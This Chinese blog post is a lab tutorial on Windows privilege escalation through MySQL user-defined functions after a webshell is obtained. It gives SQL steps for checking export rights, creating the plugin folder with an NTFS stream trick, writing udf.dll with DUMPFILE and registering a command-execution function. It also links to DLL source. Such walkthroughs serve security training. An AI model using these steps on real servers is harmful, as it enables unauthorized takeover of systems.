目录

udf提权(Windows系统)
udf提权(Windows系统)

access_time
brush 1788个字
local_library 256
local_offer Windows提权

当我们拿到一个webshell时,通常权限很低,但是mysql是以管理员权限运行的,这时,我们可以利用mysql udf提权提升权限


1.环境准备

1.1.将phpstudy变为系统服务

图片.png

图片.png


1.2添加一个普通用户,将apache降权为普通用户

 图片.png

图片.png

1.3将apache用户赋予phpstudy目录读写权限

图片.png

图片.png

重启服务

可以看到,apache已经成功降权

图片.png

2.获取mysql账号密码

因为我们是利用数据库提权,所以我们要获取mysql数据库root账号密码

2.1通过网站配置文件获取

图片.png

2.2通过查看数据库的user.MYD文件

图片.png

3查看数据库是否有导出文件的权限

SHOW VARIABLES LIKE '%secure%'

当secure_file_priv 的值为 NULL ,表示限制mysqld 不允许导入|导出,此时无法提权

当secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在/tmp/ 目录下,此时也无法提权

当 secure_file_priv的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提

图片.png

我们利用webshell替换my.ini文件

图片.png

图片.png


图片.png

4查看mysql版本

如果是5.1以上,需要将dll文件放在lib\plugin目录下,5.1以下,需要放到 C:\Windows\system32下

图片.png

5.查看导出路径

SHOW  VARIABLES  LIKE  "%plugin%"

图片.png

如果目录不存在,需要手动创建,如果webshell权限够,可以直接创建,如果权限不够,需要用NTFS ADS进行创建

具体可以看这篇文章:https://www.cnblogs.com/luverose/p/4245355.html

select 'It is dll'into dumpfile 'C:\\phpStudy\\PHPTutorial\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';



6.上传udf.dll

直接用webshell上传

图片.png

或者也可以用数据库写入,选择test库,创建一个表

create table t_tmp(data LONGBLOB);
insert into t_tmp values("");
update t_tmp set data=concat(.....)

图片.png

select * from t_tmp into dumpfile 'C:\\phpStudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll'; --

图片.png

文件已经成功创建

图片.png


7.创建sys_eval函数,用于执行命令和回显

create function cmdshell returns string soname 'udf.dll';

图片.png

8.执行命令,查看权限,已经成功提升至管理员权限

图片.png

udf.dll源码参考:https://www.uedbox.com/udf-dll-source/

udf提权方法错误问题参考:https://www.cnblogs.com/Le30bjectNs11/p/4536063.html

附件:


udf.rar



#如无特别声明,该文章均为 原创,转载请遵循 署名-非商业性使用 4.0 国际(CC BY-NC 4.0) 协议,即转载请注明文章来源。
#最后编辑时间为: 2023-01-22 12:52:18



create 添加新评论

请先登陆后再发表评论